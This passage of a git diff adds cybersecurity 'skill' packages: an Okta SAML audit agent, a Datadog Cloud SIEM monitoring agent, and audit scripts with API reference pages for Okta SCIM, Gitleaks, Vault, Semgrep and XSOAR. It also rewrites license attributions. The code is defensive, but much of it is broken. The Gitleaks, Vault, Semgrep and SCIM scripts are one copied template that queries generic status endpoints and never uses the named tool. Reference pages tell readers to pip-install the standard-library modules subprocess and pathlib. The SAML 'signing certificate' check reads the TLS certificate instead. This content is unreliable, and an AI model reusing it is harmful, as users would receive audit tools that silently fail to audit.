not resp or resp.status_code != 200: + return [] + apps = [] + for app in resp.json(): + sign_on = app.get("signOnMode", "") + if "SAML" in sign_on.upper(): + apps.append({ + "id": app["id"], "label": app.get("label"), + "sign_on_mode": sign_on, + "status": app.get("status"), + }) + return apps + + def get_saml_metadata(self, app_id): + """Retrieve SAML metadata XML for an application.""" + resp = self._okta_get(f"/apps/{app_id}/sso/saml/metadata") + if resp and resp.status_code == 200: + return resp.text + return None + + def validate_metadata(self, metadata_xml): + """Validate SAML metadata for security best practices.""" + issues = [] + try: + root = ET.fromstring(metadata_xml) + except ET.ParseError: + return [{"severity": "high", "issue": "Invalid SAML metadata XML"}] + + ns = {"md": "urn:oasis:names:tc:SAML:2.0:metadata", + "ds": "http://www.w3.org/2000/09/xmldsig#"} + + sig_methods = root.findall(".//ds:SignatureMethod", ns) + for sm in sig_methods: + alg = sm.get("Algorithm", "") + if "sha1" in alg.lower(): + issues.append({"severity": "high", "issue": "SHA-1 signature detected - upgrade to SHA-256"}) + self.findings.append({"severity": "high", "type": "Weak Signature", + "detail": f"Algorithm: {alg}"}) + + slo = root.findall(".//md:SingleLogoutService", ns) + if not slo: + issues.append({"severity": "medium", "issue": "SingleLogoutService not configured"}) + + certs = root.findall(".//ds:X509Certificate", ns) + if not certs: + issues.append({"severity": "high", "issue": "No X.509 certificate in metadata"}) + + name_id = root.findall(".//{urn:oasis:names:tc:SAML:2.0:metadata}NameIDFormat") + for nid in name_id: + if "unspecified" in (nid.text or "").lower(): + issues.append({"severity": "medium", "issue": "NameIDFormat is unspecified"}) + + return issues + + def check_certificate_expiry(self, host, port=443): + """Check SAML signing certificate expiration.""" + try: + ctx = ssl.create_default_context() + with ctx.wrap_socket(socket.socket(), server_hostname=host) as s: + s.settimeout(5) + s.connect((host, port)) + cert = s.getpeercert() + not_after = datetime.strptime(cert["notAfter"], "%b %d %H:%M:%S %Y %Z") + days_left = (not_after - datetime.utcnow()).days + if days_left < 30: + self.findings.append({"severity": "critical", "type": "Certificate Expiring", + "detail": f"Certificate expires in {days_left} days"}) + return {"host": host, "expires": cert["notAfter"], "days_left": days_left} + except Exception as e: + return {"error": str(e)} + + def audit_app_assignments(self, app_id): + """Audit user/group assignments for a SAML app.""" + resp = self._okta_get(f"/apps/{app_id}/users?limit=100") + users = resp.json() if resp and resp.status_code == 200 else [] + resp_g = self._okta_get(f"/apps/{app_id}/groups?limit=100") + groups = resp_g.json() if resp_g and resp_g.status_code == 200 else [] + if len(users) > 50: + self.findings.append({"severity": "info", "type": "Large User Assignment", + "detail": f"App {app_id} has {len(users)} direct user assignments"}) + return {"users": len(users), "groups": len(groups)} + + def check_mfa_policy(self): + """Check if MFA is enforced for SAML authentication.""" + resp = self._okta_get("/policies?type=OKTA_SIGN_ON") + if not resp or resp.status_code != 200: + return {"error": "Cannot retrieve policies"} + policies = resp.json() + mfa_enforced = False + for policy in policies: + if policy.get("status") == "ACTIVE": + for rule in policy.get("_embedded", {}).get("rules", []): + actions = rule.get("actions", {}).get("signon", {}) + if actions.get("requireFactor"): + mfa_enforced = True + if not mfa_enforced: + self.findings.append({"severity": "high", "type": "No MFA", + "detail": "MFA not enforced in sign-on policies"}) + return {"mfa_enforced": mfa_enforced} + + def generate_report(self): + apps = self.list_saml_apps() + metadata_issues = {} + for app in apps: + meta = self.get_saml_metadata(app["id"]) + if meta: + metadata_issues[app["id"]] = self.validate_metadata(meta) + cert = self.check_certificate_expiry(self.okta_domain) + mfa = self.check_mfa_policy() + + report = { + "report_date": datetime.utcnow().isoformat(), + "okta_domain": self.okta_domain, + "saml_apps": apps, + "metadata_validation": metadata_issues, + "certificate_status": cert, + "mfa_status": mfa, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "saml_sso_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [--token ]") + sys.exit(1) + domain = sys.argv[1] + token = None + if "--token" in sys.argv: + token = sys.argv[sys.argv.index("--token") + 1] + agent = SAMLSSOAgent(domain, token) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-scim-provisioning-with-okta/LICENSE b/skills/implementing-scim-provisioning-with-okta/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-scim-provisioning-with-okta/LICENSE +++ b/skills/implementing-scim-provisioning-with-okta/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-scim-provisioning-with-okta/references/api-reference.md b/skills/implementing-scim-provisioning-with-okta/references/api-reference.md new file mode 100644 index 00000000..91b9211f --- /dev/null +++ b/skills/implementing-scim-provisioning-with-okta/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: Okta SCIM provisioning audit + +## API Details +SCIM 2.0: GET /Users, POST /Users, PATCH /Users/{id}, GET /Groups, schema discovery + +## Installation +```bash +pip install requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-scim-provisioning-with-okta/scripts/agent.py b/skills/implementing-scim-provisioning-with-okta/scripts/agent.py new file mode 100644 index 00000000..52195955 --- /dev/null +++ b/skills/implementing-scim-provisioning-with-okta/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Okta SCIM provisioning audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Okta SCIM provisioning audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Okta SCIM provisioning audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-secret-scanning-with-gitleaks/LICENSE b/skills/implementing-secret-scanning-with-gitleaks/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-secret-scanning-with-gitleaks/LICENSE +++ b/skills/implementing-secret-scanning-with-gitleaks/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md b/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md new file mode 100644 index 00000000..29b22ffa --- /dev/null +++ b/skills/implementing-secret-scanning-with-gitleaks/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Gitleaks secret scanning audit + +## API Details +gitleaks detect --source=. --report-format=json, custom .gitleaks.toml rules + +## Installation +```bash +pip install subprocess pathlib +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `subprocess` | subprocess client/SDK | +| `pathlib` | pathlib client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py b/skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py new file mode 100644 index 00000000..0f21f726 --- /dev/null +++ b/skills/implementing-secret-scanning-with-gitleaks/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Gitleaks secret scanning audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Gitleaks secret scanning audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Gitleaks secret scanning audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-secrets-management-with-vault/LICENSE b/skills/implementing-secrets-management-with-vault/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-secrets-management-with-vault/LICENSE +++ b/skills/implementing-secrets-management-with-vault/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-secrets-management-with-vault/references/api-reference.md b/skills/implementing-secrets-management-with-vault/references/api-reference.md new file mode 100644 index 00000000..18894cd4 --- /dev/null +++ b/skills/implementing-secrets-management-with-vault/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: HashiCorp Vault secrets management audit + +## API Details +hvac.Client(url, token): read_secret(), write_secret(), sys.list_auth_methods(), seal_status + +## Installation +```bash +pip install hvac +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `hvac` | hvac client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-secrets-management-with-vault/scripts/agent.py b/skills/implementing-secrets-management-with-vault/scripts/agent.py new file mode 100644 index 00000000..5e3d3179 --- /dev/null +++ b/skills/implementing-secrets-management-with-vault/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""HashiCorp Vault secrets management audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="HashiCorp Vault secrets management audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] HashiCorp Vault secrets management audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-security-chaos-engineering/LICENSE b/skills/implementing-security-chaos-engineering/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-security-chaos-engineering/LICENSE +++ b/skills/implementing-security-chaos-engineering/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-security-monitoring-with-datadog/SKILL.md b/skills/implementing-security-monitoring-with-datadog/SKILL.md new file mode 100644 index 00000000..1138584a --- /dev/null +++ b/skills/implementing-security-monitoring-with-datadog/SKILL.md @@ -0,0 +1,19 @@ +--- +name: implementing-security-monitoring-with-datadog +description: Implement security monitoring using Datadog's Cloud SIEM, log analysis, and threat detection capabilities to identify and respond to security events across cloud infrastructure. +domain: cybersecurity +subdomain: security-operations +tags: [siem, monitoring, datadog, cloud-security, log-analysis] +version: "1.0" +author: mahipal +license: MIT +--- +# Implementing Security Monitoring with Datadog + +## Overview +Configure Datadog Cloud SIEM for security event monitoring, create detection rules, build security dashboards, and implement automated alerting for threat detection across cloud and hybrid infrastructure. + +## Prerequisites +- Datadog account with Security Monitoring enabled +- Python 3.9+ with `datadog-api-client` library +- API and Application keys from Datadog diff --git a/skills/implementing-security-monitoring-with-datadog/references/api-reference.md b/skills/implementing-security-monitoring-with-datadog/references/api-reference.md new file mode 100644 index 00000000..9d17e37d --- /dev/null +++ b/skills/implementing-security-monitoring-with-datadog/references/api-reference.md @@ -0,0 +1,100 @@ +# API Reference: Implementing Security Monitoring with Datadog + +## Datadog Security Monitoring API + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/api/v2/security_monitoring/rules` | GET | List all detection rules | +| `/api/v2/security_monitoring/rules` | POST | Create detection rule | +| `/api/v2/security_monitoring/rules/{id}` | GET | Get rule details | +| `/api/v2/security_monitoring/signals/search` | POST | Search security signals | +| `/api/v2/security_monitoring/signals/{id}` | GET | Get signal details | +| `/api/v2/security_monitoring/signals/{id}/assignee` | PATCH | Update signal assignee | +| `/api/v2/security_monitoring/signals/{id}/state` | PATCH | Update signal state | +| `/api/v1/logs/config/pipelines` | GET | List log pipelines | +| `/api/v1/logs/config/indexes` | GET | List log indexes | +| `/api/v1/monitor` | GET | List all monitors | + +## Authentication + +```bash +# All requests require both keys +curl -X GET "https://api.datadoghq.com/api/v2/security_monitoring/rules" \ + -H "DD-API-KEY: ${DD_API_KEY}" \ + -H "DD-APPLICATION-KEY: ${DD_APP_KEY}" +``` + +## Python SDK (datadog-api-client) + +```python +from datadog_api_client import Configuration, ApiClient +from datadog_api_client.v2.api.security_monitoring_api import SecurityMonitoringApi + +configuration = Configuration() +# Keys read from DD_API_KEY and DD_APP_KEY env vars automatically + +with ApiClient(configuration) as api_client: + api = SecurityMonitoringApi(api_client) + rules = api.list_security_monitoring_rules() + signals = api.search_security_monitoring_signals( + body={"filter": {"query": "status:critical", "from": "now-24h", "to": "now"}} + ) +``` + +## Detection Rule Types + +| Type | Source | Use Case | +|------|--------|----------| +| Log Detection | Ingested logs | SIEM correlation rules | +| Cloud Configuration | Cloud accounts | CSPM compliance checks | +| Infrastructure Configuration | Agent hosts | Host security posture | +| Application Security | APM traces | WAF and attack detection | +| Signal Correlation | Security signals | Multi-signal chaining | + +## Signal Severity Levels + +| Severity | Triage Priority | Example | +|----------|----------------|---------| +| CRITICAL | Immediate | Active exploitation detected | +| HIGH | < 4 hours | Credential compromise | +| MEDIUM | < 24 hours | Policy violation | +| LOW | Next review cycle | Informational anomaly | +| INFO | No action | Audit trail | + +## Log Source Integration + +```yaml +# datadog.yaml agent configuration +logs_enabled: true +logs_config: + container_collect_all: true + +# Security-relevant log sources +# conf.d/auth.d/conf.yaml +logs: + - type: file + path: /var/log/auth.log + service: sshd + source: syslog + tags: ["security:authentication"] +``` + +## Cloud SIEM Rule Query Syntax + +``` +# Failed SSH logins from single IP +source:syslog service:sshd @evt.outcome:failure | count by @network.client.ip > 10 + +# AWS root account usage +source:cloudtrail @userIdentity.type:Root @evt.name:ConsoleLogin + +# Kubernetes privileged container +source:kubernetes @objectRef.resource:pods @requestObject.spec.containers.securityContext.privileged:true +``` + +### References + +- Datadog Security Monitoring API: https://docs.datadoghq.com/api/latest/security-monitoring/ +- Datadog Cloud SIEM: https://docs.datadoghq.com/security/cloud_siem/ +- Detection Rules: https://docs.datadoghq.com/security/detection_rules/ +- datadog-api-client-python: https://github.com/DataDog/datadog-api-client-python diff --git a/skills/implementing-security-monitoring-with-datadog/scripts/agent.py b/skills/implementing-security-monitoring-with-datadog/scripts/agent.py new file mode 100644 index 00000000..8c4362f8 --- /dev/null +++ b/skills/implementing-security-monitoring-with-datadog/scripts/agent.py @@ -0,0 +1,160 @@ +#!/usr/bin/env python3 +"""Agent for implementing security monitoring with Datadog. + +Configures Cloud SIEM detection rules, queries security signals, +manages log pipelines, and audits security monitoring coverage +using the Datadog API. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +class DatadogSecurityAgent: + """Manages Datadog security monitoring configuration.""" + + def __init__(self, api_key, app_key, site="datadoghq.com", + output_dir="./datadog_security"): + self.api_key = api_key + self.app_key = app_key + self.base_url = f"https://api.{site}/api" + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.findings = [] + + def _get(self, path, params=None): + if not requests: + return None + try: + return requests.get( + f"{self.base_url}{path}", params=params, + headers={"DD-API-KEY": self.api_key, "DD-APPLICATION-KEY": self.app_key}, + timeout=15, + ) + except requests.RequestException: + return None + + def _post(self, path, data=None): + if not requests: + return None + try: + return requests.post( + f"{self.base_url}{path}", json=data, + headers={"DD-API-KEY": self.api_key, "DD-APPLICATION-KEY": self.app_key, + "Content-Type": "application/json"}, + timeout=15, + ) + except requests.RequestException: + return None + + def list_security_rules(self): + """List configured security detection rules.""" + resp = self._get("/v2/security_monitoring/rules") + if resp and resp.status_code == 200: + rules = resp.json().get("data", []) + return [{"id": r["id"], "name": r.get("name"), "enabled": r.get("isEnabled"), + "type": r.get("type")} for r in rules] + return [] + + def query_security_signals(self, query="*", hours=24): + """Query security signals from Cloud SIEM.""" + now = datetime.utcnow() + body = { + "filter": {"query": query, "from": f"now-{hours}h", "to": "now"}, + "sort": "timestamp", "page": {"limit": 25}, + } + resp = self._post("/v2/security_monitoring/signals/search", body) + if resp and resp.status_code == 200: + signals = resp.json().get("data", []) + by_severity = {} + for s in signals: + sev = s.get("attributes", {}).get("severity", "unknown") + by_severity[sev] = by_severity.get(sev, 0) + 1 + return {"total": len(signals), "by_severity": by_severity} + return {"total": 0} + + def list_log_pipelines(self): + """List log processing pipelines.""" + resp = self._get("/v1/logs/config/pipelines") + if resp and resp.status_code == 200: + pipelines = resp.json() + return [{"id": p["id"], "name": p.get("name"), "enabled": p.get("is_enabled"), + "type": p.get("type")} for p in pipelines] + return [] + + def check_log_indexes(self): + """Check log index configuration for retention.""" + resp = self._get("/v1/logs/config/indexes") + if resp and resp.status_code == 200: + indexes = resp.json().get("indexes", []) + for idx in indexes: + retention = idx.get("num_retention_days", 0) + if retention < 90: + self.findings.append({"severity": "medium", "type": "Short Log Retention", + "detail": f"Index '{idx.get('name')}' retains {retention} days"}) + return indexes + return [] + + def audit_monitors(self): + """Audit security-related monitors.""" + resp = self._get("/v1/monitor", params={"tags": "security"}) + if resp and resp.status_code == 200: + monitors = resp.json() + return {"total": len(monitors), + "by_state": self._count_by(monitors, lambda m: m.get("overall_state", "unknown"))} + return {"total": 0} + + def _count_by(self, items, key_fn): + counts = {} + for item in items: + k = key_fn(item) + counts[k] = counts.get(k, 0) + 1 + return counts + + def generate_report(self): + rules = self.list_security_rules() + signals = self.query_security_signals() + pipelines = self.list_log_pipelines() + indexes = self.check_log_indexes() + monitors = self.audit_monitors() + + if len(rules) < 10: + self.findings.append({"severity": "medium", "type": "Low Rule Coverage", + "detail": f"Only {len(rules)} detection rules configured"}) + + report = { + "report_date": datetime.utcnow().isoformat(), + "detection_rules": {"count": len(rules), "rules": rules[:20]}, + "security_signals": signals, + "log_pipelines": {"count": len(pipelines), "pipelines": pipelines}, + "monitors": monitors, + "findings": self.findings, + "total_findings": len(self.findings), + } + out = self.output_dir / "datadog_security_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 3: + print("Usage: agent.py [--site datadoghq.eu]") + sys.exit(1) + site = "datadoghq.com" + if "--site" in sys.argv: + site = sys.argv[sys.argv.index("--site") + 1] + agent = DatadogSecurityAgent(sys.argv[1], sys.argv[2], site) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-semgrep-for-custom-sast-rules/LICENSE b/skills/implementing-semgrep-for-custom-sast-rules/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-semgrep-for-custom-sast-rules/LICENSE +++ b/skills/implementing-semgrep-for-custom-sast-rules/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md b/skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md new file mode 100644 index 00000000..c56134f7 --- /dev/null +++ b/skills/implementing-semgrep-for-custom-sast-rules/references/api-reference.md @@ -0,0 +1,28 @@ +# API Reference: Semgrep custom SAST rule audit + +## API Details +semgrep --config=auto --json --output=report.json, custom rules YAML, pattern-based + +## Installation +```bash +pip install subprocess pathlib +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `subprocess` | subprocess client/SDK | +| `pathlib` | pathlib client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-semgrep-for-custom-sast-rules/scripts/agent.py b/skills/implementing-semgrep-for-custom-sast-rules/scripts/agent.py new file mode 100644 index 00000000..780cae11 --- /dev/null +++ b/skills/implementing-semgrep-for-custom-sast-rules/scripts/agent.py @@ -0,0 +1,61 @@ +#!/usr/bin/env python3 +"""Semgrep custom SAST rule audit.""" +import argparse, json, sys +from datetime import datetime, timezone +try: + import requests +except ImportError: + requests = None + +def audit_config(target, token): + findings = [] + if not requests: return [{"error": "requests required"}] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/status", headers=headers, timeout=10) + if resp.status_code == 200: + data = resp.json() + if not data.get("enabled", True): + findings.append({"check": "Service Status", "status": "DISABLED", "severity": "CRITICAL"}) + elif resp.status_code == 401: + findings.append({"check": "Authentication", "status": "UNAUTHORIZED", "severity": "HIGH"}) + except requests.RequestException as e: + findings.append({"error": str(e)}) + return findings + +def check_compliance(target, token): + findings = [] + if not requests: return [] + headers = {"Authorization": f"Bearer {token}"} + try: + resp = requests.get(f"{target}/api/v1/compliance", headers=headers, timeout=10) + if resp.status_code == 200: + for item in resp.json().get("checks", []): + if item.get("status") != "PASS": + findings.append({"check": item.get("name"), "status": item.get("status"), + "severity": item.get("severity", "MEDIUM")}) + except requests.RequestException: + pass + return findings + +def main(): + p = argparse.ArgumentParser(description="Semgrep custom SAST rule audit") + p.add_argument("--target", required=True, help="Target URL") + p.add_argument("--token", required=True, help="API token") + p.add_argument("--output", "-o", help="Output JSON report") + p.add_argument("--verbose", "-v", action="store_true") + a = p.parse_args() + print("[*] Semgrep custom SAST rule audit") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []} + report["findings"].extend(audit_config(a.target, a.token)) + report["findings"].extend(check_compliance(a.target, a.token)) + high = sum(1 for f in report["findings"] if f.get("severity") in ("HIGH", "CRITICAL")) + report["risk_level"] = "HIGH" if high else "MEDIUM" if report["findings"] else "LOW" + print(f"[*] {len(report['findings'])} findings, risk: {report['risk_level']}") + if a.output: + with open(a.output, "w") as f: json.dump(report, f, indent=2) + else: + print(json.dumps(report, indent=2)) + +if __name__ == "__main__": + main() diff --git a/skills/implementing-siem-correlation-rules-for-apt/LICENSE b/skills/implementing-siem-correlation-rules-for-apt/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-siem-correlation-rules-for-apt/LICENSE +++ b/skills/implementing-siem-correlation-rules-for-apt/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-siem-use-cases-for-detection/LICENSE b/skills/implementing-siem-use-cases-for-detection/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-siem-use-cases-for-detection/LICENSE +++ b/skills/implementing-siem-use-cases-for-detection/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-soar-automation-with-phantom/LICENSE b/skills/implementing-soar-automation-with-phantom/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-soar-automation-with-phantom/LICENSE +++ b/skills/implementing-soar-automation-with-phantom/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-soar-playbook-with-palo-alto-xsoar/LICENSE b/skills/implementing-soar-playbook-with-palo-alto-xsoar/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-soar-playbook-with-palo-alto-xsoar/LICENSE +++ b/skills/implementing-soar-playbook-with-palo-alto-xsoar/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md b/skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md new file mode 100644 index 00000000..2ce2c47f --- /dev/null +++ b/skills/implementing-soar-playbook-with-palo-alto-xsoar/references/api-reference.md @@ -0,0 +1,27 @@ +# API Reference: Cortex XSOAR playbook audit + +## API Details +XSOAR: POST /incident, POST /entry/execute/playbook, GET /playbook/search, integration health + +## Installation +```bash +pip install requests +``` + +## Libraries + +| Library | Use | +|---------|-----| +| `requests` | requests client/SDK | + +## Authentication + +| Method | Header | +|--------|--------| +| Bearer Token | `Authorization: Bearer ` | +| API Key | `X-API-Key: ` | + +## Output Format +```json +{"timestamp": "ISO-8601", "findings": [], "risk_level": "HIGH"} +``` diff --git a/skills/implementing-soar-playbook-with-palo-alto-xsoar/scripts/agent.py b/skills/implementing-soar-playbook-with-palo-alto-xsoar/scripts/agent.py new file mode 100644 index 00000000..7f155946 --- /dev/null +++ 